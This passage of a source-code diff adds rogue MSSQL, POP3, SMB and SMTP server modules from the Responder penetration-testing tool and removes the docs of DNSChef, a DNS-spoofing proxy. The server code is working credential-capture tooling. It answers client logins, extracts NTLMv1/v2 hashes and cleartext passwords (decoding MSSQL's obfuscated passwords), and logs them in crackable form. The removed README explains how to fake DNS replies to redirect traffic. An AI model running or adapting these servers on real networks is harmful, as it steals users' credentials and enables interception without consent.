DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
SaveToDb({
'module': 'MSSQL',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+User,
'hash': LMHash+":"+NTHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
SaveToDb({
'module': 'MSSQL',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+User,
'hash': NTHash[:32]+":"+NTHash[32:],
'fullhash': WriteHash,
})
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(data, client):
TDS = TDS_Login_Packet(data)
SaveToDb({
'module': 'MSSQL',
'type': 'Cleartext',
'client': client,
'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName),
'user': TDS.UserName,
'cleartext': ParseSqlClearTxtPwd(TDS.Password),
'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password),
})
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
# Pre-Login Message
if data[0] == "\x12":
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(Buffer)
data = self.request.recv(1024)
# NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge)
Packet.calculate()
Buffer = str(Packet)
self.request.send(Buffer)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
# NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except socket.timeout:
pass
self.request.close()

60
core/servers/POP3.py Normal file
View file

@ -0,0 +1,60 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from SocketServer import BaseRequestHandler
from packets import POPOKPacket
# POP3 Server class
class POP3(BaseRequestHandler):
def SendPacketAndRead(self):
Packet = POPOKPacket()
self.request.send(str(Packet))
data = self.request.recv(1024)
return data
def handle(self):
try:
data = self.SendPacketAndRead()
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
data = self.SendPacketAndRead()
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+":"+Pass,
})
data = self.SendPacketAndRead()
else:
data = self.SendPacketAndRead()
except Exception:
pass

421
core/servers/SMB.py Normal file
View file

@ -0,0 +1,421 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
import core.responder.settings as settings
import threading
import socket
from traceback import print_exc
from random import randrange
from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer
from core.responder.utils import *
class SMB:
def start(self):
try:
if OsInterfaceIsSupported():
server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1)
server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1)
else:
server1 = ThreadingTCPServer(('', 445), SMB1)
server2 = ThreadingTCPServer(('', 139), SMB1)
for server in [server1, server2]:
t = threading.Thread(name='SMB', target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
print "Error starting SMB server: {}".format(e)
print_exc()
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
if OsInterfaceIsSupported():
try:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
except:
pass
TCPServer.server_bind(self)
# Detect if SMB auth was Anonymous
def Is_Anonymous(data):
SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 260:
LMhashLen = struct.unpack('<H',data[89:91])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
if SecBlobLen > 260:
LMhashLen = struct.unpack('<H',data[93:95])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0]
return True if LMhashLen == 0 or LMhashLen == 1 else False
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
Dialect = tuple([e.replace('\x00','') for e in data[40:].split('\x02')[:10]])
#print hex(Dialect)
if Dialect[0] == "NT LM 0.12":
return "\x00\x00"
if Dialect[1] == "NT LM 0.12":
return "\x01\x00"
if Dialect[2] == "NT LM 0.12":
return "\x02\x00"
if Dialect[3] == "NT LM 0.12":
return "\x03\x00"
if Dialect[4] == "NT LM 0.12":
return "\x04\x00"
if Dialect[5] == "NT LM 0.12":
return "\x05\x00"
if Dialect[6] == "NT LM 0.12":
return "\x06\x00"
if Dialect[7] == "NT LM 0.12":
return "\x07\x00"
if Dialect[8] == "NT LM 0.12":
return "\x08\x00"
if Dialect[9] == "NT LM 0.12":
return "\x09\x00"
if Dialect[10] == "NT LM 0.12":
return "\x0a\x00"
#Set MID SMB Header field.
def midcalc(data):
pack=data[34:36]
return pack
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data):
pack=data[30:32]
return pack
#Set TID SMB Header field.
def tidcalc(data):
pack=data[28:30]
return pack
def ParseShare(data):
packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a:
print text("[SMB] Requested Share : %s" % a.group(0).replace('\x00', ''))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client):
SecBlobLen = struct.unpack('<H',data[51:53])[0]
BccLen = struct.unpack('<H',data[61:63])[0]
if SecBlobLen < 260:
SSPIStart = data[75:]
LMhashLen = struct.unpack('<H',data[89:91])[0]
LMhashOffset = struct.unpack('<H',data[91:93])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[97:99])[0]
NthashOffset = struct.unpack('<H',data[99:101])[0]
else:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
LMhashOffset = struct.unpack('<H',data[95:97])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[101:103])[0]
NthashOffset = struct.unpack('<H',data[103:105])[0]
if NthashLen == 24:
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[105:107])[0]
DomainOffset = struct.unpack('<H',data[107:109])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[113:115])[0]
UserOffset = struct.unpack('<H',data[115:117])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
SaveToDb({
'module': 'SMB',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[109:111])[0]
DomainOffset = struct.unpack('<H',data[111:113])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[117:119])[0]
UserOffset = struct.unpack('<H',data[119:121])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'SMB',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
# Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client):
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
if NthashLen > 25:
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
LmHash = FullHash[:32].upper()
NtHash = FullHash[32:].upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
SaveToDb({
'module': 'SMB',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+Username,
'hash': NtHash,
'fullhash': WriteHash,
})
if NthashLen == 24:
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
LmHash = data[65:65+LMhashLen].encode('hex').upper()
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
SaveToDb({
'module': 'SMB',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+Username,
'hash': NtHash,
'fullhash': WriteHash,
})
def IsNT4ClearTxt(data, client):
HeadLen = 36
if data[14:16] == "\x03\x80":
SmbData = data[HeadLen+14:]
WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75":
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
# SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
if len(data) < 1:
break
##session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
try:
data = self.request.recv(1024)
except:
pass
# Negociate Protocol Response
if data[8:10] == "\x72\x00":
# \x72 == Negociate Protocol Response
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
# Session Setup AndX Request
if data[8:10] == "\x73\x00":
IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(4096)
# STATUS_SUCCESS
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
Body = SMBSessEmpty()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0])
# Send STATUS_SUCCESS
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = SMBSession2Accept()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
# Tree Connect AndX Request
if data[8:10] == "\x75\x00":
ParseShare(data)
# Tree Connect AndX Response
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Tree Disconnect.
if data[8:10] == "\x71\x00":
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Trans2 Access Denied.
if data[8:10] == "\x25\x00":
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00":
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = "\x02\xff\x00\x27\x00\x00\x00"
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except socket.timeout:
pass
# SMB Server class, old version
class SMB1LM(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
##session request 139
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body.calculate()
Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head)+str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
data = self.request.recv(1024)
except Exception:
self.request.close()
pass

66
core/servers/SMTP.py Normal file
View file

@ -0,0 +1,66 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import settings
from utils import *
from base64 import b64decode, b64encode
from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
# ESMTP Server class
class ESMTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(SMTPGreeting()))
data = self.request.recv(1024)
if data[0:4] == "EHLO":
self.request.send(str(SMTPAUTH()))
data = self.request.recv(1024)
if data[0:4] == "AUTH":
self.request.send(str(SMTPAUTH1()))
data = self.request.recv(1024)
if data:
try:
User = filter(None, b64decode(data).split('\x00'))
Username = User[0]
Password = User[1]
except:
Username = b64decode(data)
self.request.send(str(SMTPAUTH2()))
data = self.request.recv(1024)
if data:
try: Password = b64decode(data)
except: Password = data
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
except Exception:
pass

View file

@ -1,29 +0,0 @@
Version 0.3
* Added support for the latest version of the dnslib library - 0.9.3
* Added support for logging. (idea by kafeine)
* Added support for SRV, DNSKEY, and RRSIG records. (idea by mubix)
* Added support for TCP remote nameserver connections. (idea by mubix)
* DNS name matching is now case insensitive.
* Various small bug fixes and performance tweaks.
* Python libraries are no longer bundled with the distribution, but
compiled in the Windows binary.
Version 0.2.1
* Fixed a Python 2.6 compatibility issue. (thanks Mehran Goudarzi)
Version 0.2
* Added IPv6 support.
* Added AAAA, MX, CNAME, NS, SOA and NAPTR support.
* Added support for ANY queries (returns all known fake records).
* Changed file format to support more DNS record types.
* Added alternative DNS port support (contributed by fnv).
* Added alternative listening port support for the server (contributed by Mark Straver).
* Updated bundled dnslib library to the latest version - 0.8.2.
* Included IPy library for IPv6 support.
Version 0.1
* First public release

View file

@ -1,25 +0,0 @@
Copyright (C) 2014 Peter Kacherginsky
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View file

@ -1,339 +0,0 @@
DNSChef
=======
The latest version of this document can be obtained from http://thesprawl.org/projects/dnschef/
DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet.
There are several DNS Proxies out there. Most will simply point all DNS queries a single IP address or implement only rudimentary filtering. DNSChef was developed as part of a penetration test where there was a need for a more configurable system. As a result, DNSChef is cross-platform application capable of forging responses based on inclusive and exclusive domain lists, supporting multiple DNS record types, matching domains with wildcards, proxying true responses for nonmatching domains, defining external configuration files, IPv6 and many other features. You can find detailed explanation of each of the features and suggested uses below.
The use of DNS Proxy is recommended in situations where it is not possible to force an application to use some other proxy server directly. For example, some mobile applications completely ignore OS HTTP Proxy settings. In these cases, the use of a DNS proxy server such as DNSChef will allow you to trick that application into forwarding connections to the desired destination.
Setting up a DNS Proxy
======================
Before you can start using DNSChef, you must configure your machine to use a DNS nameserver with the tool running on it. You have several options based on the operating system you are going to use:
* **Linux** - Edit */etc/resolv.conf* to include a line on the very top with your traffic analysis host (e.g add "nameserver 127.0.0.1" if you are running locally). Alternatively, you can add a DNS server address using tools such as Network Manager. Inside the Network Manager open IPv4 Settings, select *Automatic (DHCP) addresses only* or *Manual* from the *Method* drop down box and edit *DNS Servers* text box to include an IP address with DNSChef running.
* **Windows** - Select *Network Connections* from the *Control Panel*. Next select one of the connections (e.g. "Local Area Connection"), right-click on it and select properties. From within a newly appearing dialog box, select *Internet Protocol (TCP/IP)* and click on properties. At last select *Use the following DNS server addresses* radio button and enter the IP address with DNSChef running. For example, if running locally enter 127.0.0.1.
* **OS X** - Open *System Preferences* and click on the *Network* icon. Select the active interface and fill in the *DNS Server* field. If you are using Airport then you will have to click on *Advanced...* button and edit DNS servers from there. Alternatively, you can edit */etc/resolv.conf* and add a fake nameserver to the very top there (e.g "nameserver 127.0.0.1").
* **iOS** - Open *Settings* and select *General*. Next select on *Wi-Fi* and click on a blue arrow to the right of an active Access Point from the list. Edit DNS entry to point to the host with DNSChef running. Make sure you have disabled Cellular interface (if available).
* **Android** - Open *Settings* and select *Wireless and network*. Click on *Wi-Fi settings* and select *Advanced* after pressing the *Options* button on the phone. Enable *Use static IP* checkbox and configure a custom DNS server.
If you do not have the ability to modify device's DNS settings manually, then you still have several options involving techniques such as [ARP Spoofing](http://en.wikipedia.org/wiki/ARP_spoofing), [Rogue DHCP](http://www.yersinia.net/doc.htm) and other creative methods.
At last you need to configure a fake service where DNSChef will point all of the requests. For example, if you are trying to intercept web traffic, you must bring up either a separate web server running on port 80 or set up a web proxy (e.g. Burp) to intercept traffic. DNSChef will point queries to your proxy/server host with properly configured services.
Running DNSChef
===============
DNSChef is a cross-platform application developed in Python which should run on most platforms which have a Python interpreter. You can use the supplied *dnschef.exe* executable to run it on Windows hosts without installing a Python interpreter. This guide will concentrate on Unix environments; however, all of the examples below were tested to work on Windows as well.
Let's get a taste of DNSChef with its most basic monitoring functionality. Execute the following command as root (required to start a server on port 53):
# ./dnschef.py
_ _ __
| | version 0.2 | | / _|
__| |_ __ ___ ___| |__ ___| |_
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
| (_| | | | \__ \ (__| | | | __/ |
\__,_|_| |_|___/\___|_| |_|\___|_|
iphelix@thesprawl.org
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] No parameters were specified. Running in full proxy mode
Without any parameters, DNSChef will run in full proxy mode. This means that all requests will simply be forwarded to an upstream DNS server (8.8.8.8 by default) and returned back to the quering host. For example, let's query an "A" record for a domain and observe results:
$ host -t A thesprawl.org
thesprawl.org has address 108.59.3.64
DNSChef will print the following log line showing time, source IP address, type of record requested and most importantly which name was queried:
[23:54:03] 127.0.0.1: proxying the response of type 'A' for thesprawl.org
This mode is useful for simple application monitoring where you need to figure out which domains it uses for its communications.
DNSChef has full support for IPv6 which can be activated using *-6* or *--ipv6** flags. It works exactly as IPv4 mode with the exception that default listening interface is switched to ::1 and default DNS server is switched to 2001:4860:4860::8888. Here is a sample output:
# ./dnschef.py -6
_ _ __
| | version 0.2 | | / _|
__| |_ __ ___ ___| |__ ___| |_
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
| (_| | | | \__ \ (__| | | | __/ |
\__,_|_| |_|___/\___|_| |_|\___|_|
iphelix@thesprawl.org
[*] Using IPv6 mode.
[*] DNSChef started on interface: ::1
[*] Using the following nameservers: 2001:4860:4860::8888
[*] No parameters were specified. Running in full proxy mode
[00:35:44] ::1: proxying the response of type 'A' for thesprawl.org
[00:35:44] ::1: proxying the response of type 'AAAA' for thesprawl.org
[00:35:44] ::1: proxying the response of type 'MX' for thesprawl.org
NOTE: By default, DNSChef creates a UDP listener. You can use TCP instead with the *--tcp* argument discussed later.
Intercept all responses
-----------------------
Now, that you know how to start DNSChef let's configure it to fake all replies to point to 127.0.0.1 using the *--fakeip* parameter:
# ./dnschef.py --fakeip 127.0.0.1 -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 127.0.0.1
[23:55:57] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1
[23:55:57] 127.0.0.1: proxying the response of type 'AAAA' for google.com
[23:55:57] 127.0.0.1: proxying the response of type 'MX' for google.com
In the above output you an see that DNSChef was configured to proxy all requests to 127.0.0.1. The first line of log at 08:11:23 shows that we have "cooked" the "A" record response to point to 127.0.0.1. However, further requests for 'AAAA' and 'MX' records are simply proxied from a real DNS server. Let's see the output from requesting program:
$ host google.com localhost
google.com has address 127.0.0.1
google.com has IPv6 address 2001:4860:4001:803::1001
google.com mail is handled by 10 aspmx.l.google.com.
google.com mail is handled by 40 alt3.aspmx.l.google.com.
google.com mail is handled by 30 alt2.aspmx.l.google.com.
google.com mail is handled by 20 alt1.aspmx.l.google.com.
google.com mail is handled by 50 alt4.aspmx.l.google.com.
As you can see the program was tricked to use 127.0.0.1 for the IPv4 address. However, the information obtained from IPv6 (AAAA) and mail (MX) records appears completely legitimate. The goal of DNSChef is to have the least impact on the correct operation of the program, so if an application relies on a specific mailserver it will correctly obtain one through this proxied request.
Let's fake one more request to illustrate how to target multiple records at the same time:
# ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 127.0.0.1
[*] Cooking all AAAA replies to point to ::1
[00:02:14] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1
[00:02:14] 127.0.0.1: cooking the response of type 'AAAA' for google.com to ::1
[00:02:14] 127.0.0.1: proxying the response of type 'MX' for google.com
In addition to the --fakeip flag, I have now specified --fakeipv6 designed to fake 'AAAA' record queries. Here is an updated program output:
$ host google.com localhost
google.com has address 127.0.0.1
google.com has IPv6 address ::1
google.com mail is handled by 10 aspmx.l.google.com.
google.com mail is handled by 40 alt3.aspmx.l.google.com.
google.com mail is handled by 30 alt2.aspmx.l.google.com.
google.com mail is handled by 20 alt1.aspmx.l.google.com.
google.com mail is handled by 50 alt4.aspmx.l.google.com.
Once more all of the records not explicitly overriden by the application were proxied and returned from the real DNS server. However, IPv4 (A) and IPv6 (AAAA) were both faked to point to a local machine.
DNSChef supports multiple record types:
+--------+--------------+-----------+--------------------------+
| Record | Description |Argument | Example |
+--------+--------------+-----------+--------------------------+
| A | IPv4 address |--fakeip | --fakeip 192.0.2.1 |
| AAAA | IPv6 address |--fakeipv6 | --fakeipv6 2001:db8::1 |
| MX | Mail server |--fakemail | --fakemail mail.fake.com |
| CNAME | CNAME record |--fakealias| --fakealias www.fake.com |
| NS | Name server |--fakens | --fakens ns.fake.com |
+--------+--------------+-----------+--------------------------+
NOTE: For usability not all DNS record types are exposed on the command line. Additional records such as PTR, TXT, SOA, etc. can be specified using the --file flag and an appropriate record header. See the [external definitions file](#external-definitions-file) section below for details.
At last let's observe how the application handles queries of type ANY:
# ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 --fakemail mail.fake.com --fakealias www.fake.com --fakens ns.fake.com -q
[*] DNSChef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 127.0.0.1
[*] Cooking all AAAA replies to point to ::1
